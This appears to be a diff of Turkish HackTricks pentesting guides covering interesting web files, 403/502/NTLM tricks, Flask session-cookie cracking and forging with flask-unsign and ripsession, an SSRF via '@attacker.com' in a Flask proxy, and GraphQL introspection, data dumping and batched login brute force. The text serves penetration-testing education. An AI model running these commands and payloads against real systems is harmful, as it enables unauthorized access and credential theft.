		||||
**İlginç dosyalar**
 | 
			
		||||
 | 
			
		||||
- **CSS** dosyaları içinde diğer dosyalara **bağlantılar** arayın.
 | 
			
		||||
- [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md)
 | 
			
		||||
- Eğer bir _**.env**_ bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
 | 
			
		||||
- Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "onlara benzer" görünecektir.
 | 
			
		||||
- **JS dosyaları**: Tarama bölümünde, JS dosyalarından yol çıkarabilen çeşitli araçlar bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin, [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
 | 
			
		||||
- Ayrıca, keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz.
 | 
			
		||||
- Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "onlara benzerler".
 | 
			
		||||
- **JS dosyaları**: Spidering bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
 | 
			
		||||
- Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol ederek zayıf olup olmadığını bulmalısınız.
 | 
			
		||||
- **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 | 
			
		||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 | 
			
		||||
- **JsFuck deobfuscation** (karakterlerle javascript: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 | 
			
		||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
 | 
			
		||||
- Birçok durumda, kullanılan **düzenli ifadeleri** **anlamanız** gerekecektir. Bu faydalı olacaktır: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex)
 | 
			
		||||
- Ayrıca, **formların tespit edildiği dosyaları** **izlemelisiniz**, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir.
 | 
			
		||||
- Birçok durumda, kullanılan **düzenli ifadeleri** anlamanız gerekecek. Bu faydalı olacaktır: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex)
 | 
			
		||||
- Ayrıca, **formların tespit edildiği dosyaları** izlemelisiniz, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir.
 | 
			
		||||
 | 
			
		||||
**403 Yasaklı/Temel Kimlik Doğrulama/401 Yetkisiz (bypass)**
 | 
			
		||||
 | 
			
		||||
@ -305,7 +308,7 @@ _Bruteforcing veya tarama sırasında yeni bir dizin keşfedildiğinde, bu dizin
 | 
			
		||||
 | 
			
		||||
**502 Proxy Hatası**
 | 
			
		||||
 | 
			
		||||
Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir **SSRF** bulmuş olacaksınız.
 | 
			
		||||
Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak ve bir** SSRF **bulmuş olacaksınız.**
 | 
			
		||||
 | 
			
		||||
**NTLM Kimlik Doğrulama - Bilgi ifşası**
 | 
			
		||||
 | 
			
		||||
@ -313,9 +316,9 @@ Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimli
 | 
			
		||||
**Başlığı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\
 | 
			
		||||
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**.
 | 
			
		||||
 | 
			
		||||
**HTTP Yönlendirmesi (CTF)**
 | 
			
		||||
**HTTP Yönlendirme (CTF)**
 | 
			
		||||
 | 
			
		||||
Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir.
 | 
			
		||||
Bir **Yönlendirme** içinde **içerik** yerleştirmek mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir.
 | 
			
		||||
 | 
			
		||||
### Web Zafiyetlerini Kontrol Etme
 | 
			
		||||
 | 
			
		||||
@ -333,7 +336,7 @@ Web zafiyetleri hakkında daha fazla bilgi için:
 | 
			
		||||
 | 
			
		||||
### Sayfaları değişiklikler için izleme
 | 
			
		||||
 | 
			
		||||
Değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanabilirsiniz.
 | 
			
		||||
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
### HackTricks Otomatik Komutlar
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
@ -2,7 +2,7 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
**Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)** ile ilgili olacaktır.**
 | 
			
		||||
**Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)** ile ilgili olacaktır.**
 | 
			
		||||
 | 
			
		||||
## Cookies
 | 
			
		||||
 | 
			
		||||
@ -34,7 +34,7 @@ pip3 install flask-unsign
 | 
			
		||||
```bash
 | 
			
		||||
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
 | 
			
		||||
```
 | 
			
		||||
#### **Kaba Kuvvet**
 | 
			
		||||
#### **Brute Force**
 | 
			
		||||
```bash
 | 
			
		||||
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
 | 
			
		||||
```
 | 
			
		||||
@ -48,7 +48,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
 | 
			
		||||
```
 | 
			
		||||
### **RIPsession**
 | 
			
		||||
 | 
			
		||||
Cookie'leri flask-unsign ile oluşturulmuş sitelere brute-force saldırısı yapmak için komut satırı aracı.
 | 
			
		||||
Flask-unsign ile oluşturulmuş çerezleri kullanarak web sitelerini brute-force yapmak için komut satırı aracı.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
https://github.com/Tagvi/ripsession
 | 
			
		||||
@ -56,13 +56,13 @@ https://github.com/Tagvi/ripsession
 | 
			
		||||
```bash
 | 
			
		||||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
 | 
			
		||||
```
 | 
			
		||||
### SQLi in Flask session cookie with SQLmap
 | 
			
		||||
### Flask oturum çerezinde SQLi ve SQLmap
 | 
			
		||||
 | 
			
		||||
[**Bu örnek**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) sqlmap `eval` seçeneğini kullanarak **flask için sqlmap yüklerini otomatik olarak imzalamak** için bilinen bir gizli anahtar kullanır.
 | 
			
		||||
[**Bu örnek**](../../pentesting-web/sql-injection/sqlmap/index.html#eval), bilinen bir gizli anahtar kullanarak Flask için sqlmap yüklerini **otomatik olarak imzalamak** üzere sqlmap `eval` seçeneğini kullanır.
 | 
			
		||||
 | 
			
		||||
## Flask Proxy to SSRF
 | 
			
		||||
## Flask Proxy ile SSRF
 | 
			
		||||
 | 
			
		||||
[**Bu yazıda**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:
 | 
			
		||||
[**Bu yazıda**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:
 | 
			
		||||
```http
 | 
			
		||||
GET @/ HTTP/1.1
 | 
			
		||||
Host: target.com
 | 
			
		||||
@ -83,6 +83,6 @@ return get(f'{SITE_NAME}{path}').content
 | 
			
		||||
 | 
			
		||||
app.run(host='0.0.0.0', port=8080)
 | 
			
		||||
```
 | 
			
		||||
Şunu eklemeye izin verebilir: "@attacker.com" gibi bir şey, **SSRF** oluşturmak için.
 | 
			
		||||
Şeytanın bir **SSRF** oluşturmasına neden olmak için "@attacker.com" gibi bir şeyin tanıtılmasına izin verebilir. 
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
## Giriş
 | 
			
		||||
 | 
			
		||||
GraphQL, arka uçtan veri sorgulamak için basitleştirilmiş bir yaklaşım sunarak REST API'ye **verimli bir alternatif** olarak **vurgulanmaktadır**. REST'in, verileri toplamak için genellikle çeşitli uç noktalar arasında çok sayıda isteği gerektirmesiyle karşılaştırıldığında, GraphQL, gerekli tüm bilgilerin **tek bir istekle** alınmasını sağlar. Bu basitleştirme, veri alma süreçlerinin karmaşıklığını azaltarak **geliştiricilere** önemli ölçüde **fayda sağlar**.
 | 
			
		||||
GraphQL, arka uçtan veri sorgulamak için basitleştirilmiş bir yaklaşım sunarak **REST API'ye** **verimli bir alternatif** olarak **vurgulanmaktadır**. REST'in, verileri toplamak için genellikle çeşitli uç noktalar arasında çok sayıda isteği gerektirmesiyle karşılaştırıldığında, GraphQL tüm gerekli bilgilerin **tek bir istekle** alınmasını sağlar. Bu basitleştirme, veri alma süreçlerinin karmaşıklığını azaltarak **geliştiricilere** önemli ölçüde **fayda sağlar**.
 | 
			
		||||
 | 
			
		||||
## GraphQL ve Güvenlik
 | 
			
		||||
 | 
			
		||||
@ -12,7 +12,7 @@ Yeni teknolojilerin, GraphQL dahil, ortaya çıkmasıyla birlikte yeni güvenlik
 | 
			
		||||
 | 
			
		||||
### Dizin Kaba Kuvvet Saldırıları ve GraphQL
 | 
			
		||||
 | 
			
		||||
Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarına belirli yolların dahil edilmesi önerilmektedir. Bu yollar şunlardır:
 | 
			
		||||
Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarına belirli yolların eklenmesi önerilmektedir. Bu yollar şunlardır:
 | 
			
		||||
 | 
			
		||||
- `/graphql`
 | 
			
		||||
- `/graphiql`
 | 
			
		||||
@ -23,7 +23,7 @@ Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarına
 | 
			
		||||
- `/graphql/api`
 | 
			
		||||
- `/graphql/graphql`
 | 
			
		||||
 | 
			
		||||
Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine olanak tanır. Bu, uç nokta üzerinden erişilebilen verilerin anlaşılması için kritik öneme sahiptir. GraphQL'in introspeksiyon sistemi, bir şemanın desteklediği sorguları detaylandırarak bu süreci kolaylaştırır. Bununla ilgili daha fazla bilgi için GraphQL'in introspeksiyon belgelerine bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/)
 | 
			
		||||
Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine olanak tanır. Bu, uç nokta aracılığıyla erişilebilen verilerin anlaşılması için kritik öneme sahiptir. GraphQL'in introspeksiyon sistemi, bir şemanın desteklediği sorguları detaylandırarak bu süreci kolaylaştırır. Bununla ilgili daha fazla bilgi için GraphQL'in introspeksiyon belgelerine bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/)
 | 
			
		||||
 | 
			
		||||
### Parmak İzi
 | 
			
		||||
 | 
			
		||||
@ -31,13 +31,13 @@ Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine ol
 | 
			
		||||
 | 
			
		||||
#### Evrensel sorgular <a href="#universal-queries" id="universal-queries"></a>
 | 
			
		||||
 | 
			
		||||
Bir URL'nin bir GraphQL hizmeti olup olmadığını kontrol etmek için, bir **evrensel sorgu**, `query{__typename}`, gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, bu URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya koyan GraphQL'in `__typename` alanına dayanır.
 | 
			
		||||
Bir URL'nin bir GraphQL hizmeti olup olmadığını kontrol etmek için, bir **evrensel sorgu**, `query{__typename}`, gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, bu URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya çıkaran GraphQL'in `__typename` alanına dayanır.
 | 
			
		||||
```javascript
 | 
			
		||||
query{__typename}
 | 
			
		||||
```
 | 
			
		||||
### Temel Sayım
 | 
			
		||||
 | 
			
		||||
Graphql genellikle **GET**, **POST** (x-www-form-urlencoded) ve **POST**(json) destekler. Ancak güvenlik açısından CSRF saldırılarını önlemek için yalnızca json'a izin verilmesi önerilir.
 | 
			
		||||
Graphql genellikle **GET**, **POST** (x-www-form-urlencoded) ve **POST**(json) destekler. Ancak güvenlik açısından, CSRF saldırılarını önlemek için yalnızca json'a izin verilmesi önerilir.
 | 
			
		||||
 | 
			
		||||
#### İçgörü
 | 
			
		||||
 | 
			
		||||
@ -51,7 +51,7 @@ Bu sorgu ile kullanılan tüm türlerin adını bulacaksınız:
 | 
			
		||||
```bash
 | 
			
		||||
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
 | 
			
		||||
```
 | 
			
		||||
Bu sorgu ile tüm türleri, alanlarını ve argümanlarını (ve argümanların türünü) çıkarabilirsiniz. Bu, veritabanını nasıl sorgulayacağınızı bilmek için çok faydalı olacaktır.
 | 
			
		||||
Bu sorgu ile tüm türleri, alanlarını ve argümanlarını (ve argümanların türünü) çıkarabilirsiniz. Bu, veritabanını sorgulamak için nasıl bir yol izleyeceğinizi bilmek açısından çok faydalı olacaktır.
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -65,7 +65,7 @@ Bu sorgu ile tüm türleri, alanlarını ve argümanlarını (ve argümanların
 | 
			
		||||
```
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
**Veritabanı Şemasını İnspeksiyon ile Belirleme**
 | 
			
		||||
**Veritabanı Şemasını İnspeksiyon ile Listeleme**
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> İnspeksiyon etkinse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından `onOperation`, `onFragment` ve `onField` direktiflerini kaldırmayı deneyin.
 | 
			
		||||
@ -166,13 +166,13 @@ Son kod satırı, graphql'den tüm meta-bilgileri (nesne adları, parametreler,
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Eğer introspection etkinse, tüm seçenekleri bir GUI'de görüntülemek için [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanabilirsiniz.
 | 
			
		||||
Eğer introspection etkinse, [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanarak GUI'de tüm seçenekleri görüntüleyebilirsiniz.
 | 
			
		||||
 | 
			
		||||
### Sorgulama
 | 
			
		||||
 | 
			
		||||
Artık veritabanında hangi tür bilgilerin saklandığını bildiğimize göre, **bazı değerleri çıkarmayı** deneyelim.
 | 
			
		||||
 | 
			
		||||
İntrospection'da **hangi nesneyi doğrudan sorgulayabileceğinizi** bulabilirsiniz (çünkü bir nesneyi sadece var olduğu için sorgulayamazsınız). Aşağıdaki görüntüde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin "_flags_" olduğunu görebilirsiniz; bu da bir nesne türüdür. Bu nedenle, bayrak nesnesini sorgulayabilirsiniz.
 | 
			
		||||
İntrospection'da **hangi nesneyi doğrudan sorgulayabileceğinizi** bulabilirsiniz (çünkü bir nesneyi sadece var olduğu için sorgulayamazsınız). Aşağıdaki görüntüde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin "_flags_" olduğunu görebilirsiniz; bu da bir nesne türüdür. Bu nedenle, flag nesnesini sorgulayabilirsiniz.
 | 
			
		||||
 | 
			
		||||

 | 
			
		||||
 | 
			
		||||
@ -180,11 +180,11 @@ Artık veritabanında hangi tür bilgilerin saklandığını bildiğimize göre,
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
"_Flags_" nesnelerinin **isim** ve **değer** ile oluşturulduğunu görebilirsiniz. Ardından, bayrakların tüm isimlerini ve değerlerini şu sorgu ile alabilirsiniz:
 | 
			
		||||
"_Flags_" nesnelerinin **isim** ve **değer** ile oluşturulduğunu görebilirsiniz. Ardından, sorgu ile tüm flag isimlerini ve değerlerini alabilirsiniz:
 | 
			
		||||
```javascript
 | 
			
		||||
query={flags{name, value}}
 | 
			
		||||
```
 | 
			
		||||
Not edin ki **sorgulanacak nesne** bir **ilkel** **tip** ise, örneğin **string** gibi aşağıdaki örnekteki gibi
 | 
			
		||||
Not edin ki **sorgulanacak nesne** bir **ilkel** **tip** ise, örneğin **string** gibi, aşağıdaki örnekteki gibi
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -201,8 +201,8 @@ Ancak, bu örnekte bunu yapmaya çalıştığınızda bu **hata** ile karşıla
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Görünüşe göre bir şekilde "_**uid**_" argümanını _**Int**_ türü ile kullanarak arama yapacak.\
 | 
			
		||||
Her neyse, zaten biliyorduk ki, [Basic Enumeration](graphql.md#basic-enumeration) bölümünde bize gerekli tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
 | 
			
		||||
Görünüşe göre bir şekilde "_**uid**_" argümanını _**Int**_ türü ile arayacak.\
 | 
			
		||||
Neyse ki, zaten biliyorduk ki, [Basic Enumeration](graphql.md#basic-enumeration) bölümünde bize gerekli tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
 | 
			
		||||
 | 
			
		||||
O sorguyu çalıştırdığımda sağlanan görüntüyü okursanız, "_**user**_" nesnesinin _Int_ türünde "_**uid**_" **arg**'sine sahip olduğunu göreceksiniz.
 | 
			
		||||
 | 
			
		||||
@ -217,13 +217,13 @@ Bu nedenle, hafif bir _**uid**_ brute force gerçekleştirerek _**uid**=**1**_ o
 | 
			
		||||
 | 
			
		||||
Ve **enumeration aşamasında** "_**dbuser**_" nesnesinin "_**user**_" ve "_**password**_" alanlarına sahip olduğunu keşfettim.
 | 
			
		||||
 | 
			
		||||
**Sorgu dizesi dökme hilesi (teşekkürler @BinaryShadow\_)**
 | 
			
		||||
**Query string dump trick (thanks to @BinaryShadow\_)**
 | 
			
		||||
 | 
			
		||||
Eğer bir dize türü ile arama yapabiliyorsanız, örneğin: `query={theusers(description: ""){username,password}}` ve **boş bir dize** ararsanız, **tüm verileri dökecektir**. (_Bu örneğin, eğitimlerin örneği ile ilgili olmadığını unutmayın, bu örnekte "**theusers**" ile "**description**" adında bir Dize alanı kullanarak arama yapabileceğinizi varsayın_).
 | 
			
		||||
Bir dize türü ile arama yapabiliyorsanız, örneğin: `query={theusers(description: ""){username,password}}` ve **boş bir dize** ararsanız, **tüm verileri dökecektir**. (_Bu örneğin, eğitim örneği ile ilgili olmadığını unutmayın, bu örnekte "**theusers**" ile "**description**" adında bir Dize alanı kullanarak arama yapabileceğinizi varsayın_).
 | 
			
		||||
 | 
			
		||||
### Arama
 | 
			
		||||
 | 
			
		||||
Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içermektedir. **Kişiler** **e-posta** ve **isim** ile tanımlanır; **filmler** ise **isim** ve **puan** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, bu da veritabanı içindeki ilişkileri gösterir.
 | 
			
		||||
Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içermektedir. **Kişiler** e-posta ve isimleri ile tanımlanır; **filmler** ise isimleri ve puanları ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, bu da veritabanı içindeki ilişkileri gösterir.
 | 
			
		||||
 | 
			
		||||
**İsim** ile kişileri **arama** yapabilir ve e-posta adreslerini alabilirsiniz:
 | 
			
		||||
```javascript
 | 
			
		||||
@ -248,9 +248,9 @@ name
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Not edin ki kişinin `subscribedMovies`'nin `name`'ini almak için nasıl belirtildiği.
 | 
			
		||||
Not edin ki, kişinin `subscribedMovies`'inin `name`'ini almak için nasıl belirtildiği.
 | 
			
		||||
 | 
			
		||||
Aynı anda **birden fazla nesne arayabilirsiniz**. Bu durumda, 2 film aranıyor:
 | 
			
		||||
Aynı anda **birden fazla nesne arayabilirsiniz**. Bu durumda, 2 film araması yapılmaktadır:
 | 
			
		||||
```javascript
 | 
			
		||||
{
 | 
			
		||||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
 | 
			
		||||
@ -289,7 +289,7 @@ name
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içerir. **Kişiler**, **e-posta** ve **isim** ile tanımlanır; **filmler** ise **isim** ve **puan** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmleri olabilir, bu da veritabanındaki ilişkileri gösterir.
 | 
			
		||||
Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içerir. **Kişiler**, **e-posta** ve **isim** ile tanımlanır; **filmler** ise **isim** ve **puan** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, bu da veritabanındaki ilişkileri gösterir.
 | 
			
		||||
 | 
			
		||||
Veritabanında **yeni** filmler oluşturmak için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon `addMovie` olarak adlandırılmıştır):
 | 
			
		||||
```javascript
 | 
			
		||||
@ -304,7 +304,7 @@ rating
 | 
			
		||||
```
 | 
			
		||||
**Sorguda hem değerlerin hem de veri türünün nasıl belirtildiğine dikkat edin.**
 | 
			
		||||
 | 
			
		||||
Ayrıca, veritabanı, mevcut **arkadaşlar** ve **filmler** ile ilişkili **kişilerin** oluşturulmasına olanak tanıyan `addPerson` adlı bir **mutation** işlemini desteklemektedir. Yeni oluşturulan kişiyi mevcut arkadaşlar ve filmlerle ilişkilendirmeden önce, arkadaşların ve filmlerin veritabanında önceden var olması gerektiğini belirtmek önemlidir.
 | 
			
		||||
Ayrıca, veritabanı, mevcut **arkadaşlar** ve **filmler** ile ilişkili **kişilerin** oluşturulmasına olanak tanıyan `addPerson` adlı bir **mutation** işlemini desteklemektedir. Yeni oluşturulan kişiyi mevcut olanlarla ilişkilendirmeden önce arkadaşların ve filmlerin veritabanında önceden var olması gerektiğini belirtmek önemlidir.
 | 
			
		||||
```javascript
 | 
			
		||||
mutation {
 | 
			
		||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
 | 
			
		||||
@ -339,9 +339,9 @@ Bu raporda açıklanan [**zafiyetlerden birinde**](https://www.landh.tech/blog/2
 | 
			
		||||
### 1 API isteğinde toplu brute-force
 | 
			
		||||
 | 
			
		||||
Bu bilgi [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) adresinden alınmıştır.\
 | 
			
		||||
GraphQL API üzerinden **farklı kimlik bilgileri ile aynı anda birçok sorgu göndererek** kimlik doğrulama yapılır. Bu klasik bir brute force saldırısıdır, ancak artık GraphQL toplama özelliği sayesinde her HTTP isteğinde birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, dış hız izleme uygulamalarını her şeyin yolunda olduğu ve şifreleri tahmin etmeye çalışan bir brute-forcing botunun olmadığı konusunda kandırır.
 | 
			
		||||
GraphQL API üzerinden **farklı kimlik bilgileri ile birçok sorgunun aynı anda gönderilmesi** ile kimlik doğrulama yapılır. Bu klasik bir brute force saldırısıdır, ancak artık GraphQL toplama özelliği sayesinde her HTTP isteğinde birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, dış hız izleme uygulamalarını her şeyin yolunda olduğu ve şifreleri tahmin etmeye çalışan bir brute-forcing botunun olmadığı konusunda kandırır.
 | 
			
		||||
 | 
			
		||||
Aşağıda, **aynı anda 3 farklı e-posta/şifre çifti** ile bir uygulama kimlik doğrulama isteğinin en basit gösterimini bulabilirsiniz. Açıkça, aynı şekilde tek bir istekte binlerce göndermek mümkündür:
 | 
			
		||||
Aşağıda, **aynı anda 3 farklı e-posta/şifre çifti** ile bir uygulama kimlik doğrulama isteğinin en basit gösterimini bulabilirsiniz. Aynı şekilde tek bir istekte binlerce göndermek mümkündür:
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -353,13 +353,13 @@ Yanıt ekran görüntüsünden görebileceğimiz gibi, birinci ve üçüncü ist
 | 
			
		||||
 | 
			
		||||
Giderek daha fazla **graphql uç noktası inspeksiyonu devre dışı bırakıyor**. Ancak, beklenmedik bir istek alındığında graphql'nin attığı hatalar, [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) gibi araçların şemanın çoğunu yeniden oluşturması için yeterlidir.
 | 
			
		||||
 | 
			
		||||
Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) **Burp üzerinden geçen GraphQL API isteklerini gözlemler** ve her yeni sorgu gördüğünde bir iç GraphQL **şeması** oluşturur. Ayrıca, şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir inspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilir tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**bunu kontrol edin**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
 | 
			
		||||
Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) **Burp üzerinden geçen GraphQL API isteklerini gözlemler** ve her yeni sorgu gördüğünde içsel bir GraphQL **şeması** **oluşturur**. Ayrıca, şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir inspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilir tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**bunu kontrol edin**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
 | 
			
		||||
 | 
			
		||||
[**GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir**](https://github.com/Escape-Technologies/graphql-wordlist?).
 | 
			
		||||
 | 
			
		||||
### GraphQL inspeksiyon savunmalarını aşma <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
 | 
			
		||||
 | 
			
		||||
